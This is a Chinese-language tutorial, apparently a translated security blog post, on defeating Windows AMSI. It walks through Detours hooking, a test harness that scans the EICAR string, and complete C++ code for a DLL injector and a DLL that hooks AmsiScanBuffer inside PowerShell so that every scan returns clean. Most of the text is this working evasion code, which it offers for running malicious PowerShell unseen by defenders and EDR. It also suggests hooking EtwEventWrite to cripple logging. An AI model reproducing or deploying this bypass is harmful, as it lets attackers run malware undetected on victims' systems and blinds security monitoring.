基础知识
反恶意软件扫描接口简称"AMSI",它是微软在Windows中阻止危险脚本执行的解决方案,AMSI理论上是一个好的解决方案,它通过分析正在执行的脚本然后根据是否发现恶意内容来阻止或允许,然而正如我们稍后将讨论的那样,它有一些基本的实现缺陷,使得我们可以绕过检测
从下图中您可以看到AMSI阻止了字符串"Invoke-Mimikatz",尽管该字符串不在恶意上下文中,但它仍然被检测到,那么这究竟是如何运作的呢?微软通过将amsi.dll加载到创建的每个进程中,这些进程会导出一些功能供防病毒和EDR使用,以及Windows Defender
查看amsi.dll中的导出结果发现一个看起来很有趣的函数AmsiScanBuffer,如果你要做更多和更加深入的研究可以查看MSDN官方关于AmsiScanBuffer 的介绍页面,其中包含许多关于AMSI和函数的有用信息
https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer
在AmsiScanBuffer的最后一个参数中我们看到有一个指向名为result的枚举的指针,我们可以确定我们应该读取结果以获得AmsiScanBuffer的结果,无论结果包含什么都将决定我们的脚本执行是否是恶意的
理论上如果我们可以操纵结果是什么(即AMSI_RESULT_CLEAN),然后我们应该能够对蓝队和EDR隐藏恶意脚本执行
函数hook
函数hook是一种在函数被调用之前对其进行控制的方法,这使我们作为攻击者可以做多种事情,例如:记录参数、允许/阻止功能的执行、覆盖传入函数的参数、并决定要返回的值,考虑到这一点我们需要找出hook AmsiScanBuffer的最佳方法,微软提供了detours库,这是一个使用trampoline hook方法的函数hook库
Trampoline钩子的工作原理是存储一个目标函数的副本,然后用一个jmp指令覆盖目标函数的开始,这个跳转将我们发送到我们作为攻击者控制的函数,因此得名trampoline hook
代码语言:javascript复制#include <iostream>
#include <Windows.h>
#include <detours.h>
static int(WINAPI* OriginalMessageBox)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBox;
int WINAPI _MessageBox(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) {
return OriginalMessageBox(NULL, L"We've used detours to hook MessageBox", L"Hooked Window", 0);
}
int main() {
std::cout << "[ ] Hooking MessageBox" << std::endl;
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();
std::cout << "[ ] Message Box Hooked" << std::endl;
MessageBox(NULL, L"My Message", L"My Caption", 0);
std::cout << "[ ] Unhooking MessageBox" << std::endl;
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();
std::cout << "[ ] Message Box Unhooked" << std::endl;
}
上面的代码片段显示了如何使用detours库来挂钩MessageBox函数并覆盖用户参数,有了这些知识我们基本上能够控制AmsiScanBuffer函数的所有方面,因此现在我们需要设置一个基本项目,该项目接收一个字符串,然后使用AmsiScanBuffer扫描该字符串以查找恶意内容:
代码语言:javascript复制#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")
#define EICAR "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H H*"
const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{
case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
break;
case AMSI_RESULT_DETECTED:
description = "AMSI_RESULT_DETECTED";
break;
default:
description = "";
break;
}
return description;
}
int main() {
HAMSICONTEXT amsiContext;
HRESULT hResult = S_OK;
AMSI_RESULT res = AMSI_RESULT_CLEAN;
HAMSISESSION hSession = nullptr;
LPCWSTR fname = L"EICAR";
BYTE* sample = (BYTE*)EICAR;
ULONG size = strlen(EICAR);
ZeroMemory(&amsiContext, sizeof(amsiContext));
hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiInitialize Failed" << std::endl;
return hResult;
}
hResult = AmsiOpenSession(amsiContext, &hSession);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiOpenSession Failed" << std::endl;
return hResult;
}
hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
return hResult;
}
// Anything above 32767 is considered malicious
std::cout << GetResultDescription(res) << std::endl;
}
其中部分代码源自下面的链接:
https ://github.com/atxsinn3r/amsiscanner/blob/master/amsiscanner.cpp
我们现在有了一个测试AmsiScanBuffer的workstations,这意味着我们可以通过实现类似于挂接MessageBox时使用的东西来尝试本地挂接,让我们尝试添加以下代码
代码语言:javascript复制#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <detours.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")
#define EICAR "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H H*"
#define SAFE "SafeString"
//Converts number given out by AmsiScanBuffer into a readable string
const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{
case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
break;
case AMSI_RESULT_DETECTED:
description = "AMSI_RESULT_DETECTED";
break;
default:
description = "";
break;
}
return description;
}
//Store orignal version of AmsiScanBuffer
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer
HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
//Sets up detours to hook our function
void HookAmsi() {
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
//Undoes the hooking we setup earlier
void UnhookAmsi() {
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
int main() {
//Declares variables required for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer
HAMSICONTEXT amsiContext;
HRESULT hResult = S_OK;
AMSI_RESULT res = AMSI_RESULT_CLEAN;
HAMSISESSION hSession = nullptr;
//Declare test case to use
LPCWSTR fname = L"EICAR";
BYTE* sample = (BYTE*)EICAR;
ULONG size = strlen(EICAR);
std::cout << "[ ] Hooking AmsiScanBuffer" << std::endl;
HookAmsi();
std::cout << "[ ] AmsiScanBuffer Hooked" << std::endl;
ZeroMemory(&amsiContext, sizeof(amsiContext));
hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiInitialize Failed" << std::endl;
return hResult;
}
hResult = AmsiOpenSession(amsiContext, &hSession);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiOpenSession Failed" << std::endl;
return hResult;
}
hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
return hResult;
}
std::cout << GetResultDescription(res) << std::endl;
std::cout << "[ ] Unhooking AmsiScanBuffer" << std::endl;
UnhookAmsi();
std::cout << "[ ] AmsiScanBuffer Unhooked" << std::endl;
}
把它们放在一起,我们得到了这个:
现在我们有一个可以正常工作的hook,用安全的字符串代替了危险的字符串(EICAR测试的那个),那么现在我们如何阻止AMSI屏蔽我们恶意的powershell呢?答案是代码注入,我们需要让我们的代码进入AMSI所在的同一个进程,然后hook函数并返回一个安全消息
DLL注入
DLL(动态链接库)是一种类似于PE/COFF的文件格式,但它是不可执行的,就其本身而言它需要在运行时加载一个PE文件,因此得名动态链接库,我们要做的是创建一个基本的注入器,该注射器使用我们将要创建的DLL加载到 powershell(或在此处插入使用AMSI的程序)以hook AmsiScanBuffer
我们在这里要写的注人器不是很安全,所以如果你想把它用在工作中,你应该考虑一下,我建议创建一个使用手动映射的反射DLL加载器,下面让我们直接进入代码编写,完整的资源库可以在这里找到
https://github.com/tomcarver16/SimpleInjector
确保您在64位以及发布模式下编译所有内容,这将确保它在注入时工作并为您节省数小时的时间:
代码语言:javascript复制#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
//Opens a handle to process then write to process with LoadLibraryA and execute thread
BOOL InjectDll(DWORD procID, char* dllName) {
char fullDllName[MAX_PATH];
LPVOID loadLibrary;
LPVOID remoteString;
if (procID == 0) {
return FALSE;
}
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (hProc == INVALID_HANDLE_VALUE) {
return FALSE;
}
GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
std::cout << "[ ] Aquired full DLL path: " << fullDllName << std::endl;
loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);
CloseHandle(hProc);
return TRUE;
}
//Iterate all process until the name we're searching for matches
//Then return the process ID
DWORD GetProcIDByName(const char* procName) {
HANDLE hSnap;
BOOL done;
PROCESSENTRY32 procEntry;
ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
procEntry.dwSize = sizeof(PROCESSENTRY32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
done = Process32First(hSnap, &procEntry);
do {
if (_strnicmp(procEntry.szExeFile, procName, sizeof(procEntry.szExeFile)) == 0) {
return procEntry.th32ProcessID;
}
} while (Process32Next(hSnap, &procEntry));
return 0;
}
int main(int argc, char** argv)
{
const char* processName = argv[1];
char* dllName = argv[2];
DWORD procID = GetProcIDByName(processName);
std::cout << "[ ] Got process ID for " << processName << " PID: " << procID << std::endl;
if (InjectDll(procID, dllName)) {
std::cout << "DLL now injected!" << std::endl;
} else {
std::cout << "DLL couldn't be injected" << std::endl;
}
}
现在我们有了一个注入器,所以我们所要做的就是将我们的可执行文件从早期转换为dll,我们要做的主要更改是创建一个DllMain(注意:创建一个新的 dll项目要容易得多,因此VS会为您设置所有内容,还可以通过NuGet添加
代码语言:javascript复制#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#include <iostream>
#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString"
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
std::cout << "[ ] AmsiScanBuffer called" << std::endl;
std::cout << "[ ] Buffer " << buffer << std::endl;
std::cout << "[ ] Buffer Length " << length << std::endl;
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if (DetourIsHelperProcess()) {
return TRUE;
}
if (dwReason == DLL_PROCESS_ATTACH) {
AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
} else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return TRUE;
}
因此我们在这里所做的是创建一个dll,该dll分配一个可以写入的控制台以便进行调试,然后我们绕过AmsiScanBuffer,我们的版本记录了一些信息以明确我们已经跳转到我们的代码,而不是直接跳转到实际的AMSI代码,看到传入的参数也很有趣,我们使用与之前相同的绕过方式,只是传入一个安全字符串,因此AMSI不会标记真正的字符串
如果我们使用调试器,我们实际上可以在反汇编AmsiScanBuffer的前几条指令时查看detours库在做什么,在我们注入之前我们得到以下信息
然后在注入之后,我们现在有一个跳转指令,如果你下断点并逐步执行,你将看到它被设置解析为我们的假AmsiScanBuffer
看起来我们有一个有效的Bypass,所以现在我们可以将任何恶意脚本输入到 powershell中,这个项目只是一个基础,您可以对此进行大量扩展以hook各种事物,一个很好的例子是EtwEventWrite,它阻碍了蓝队的日志记录功能,更进一步我可能会看看这个绕过创建的一些IOC,以及我们如何通过采取更隐蔽的方法来进行颠覆检测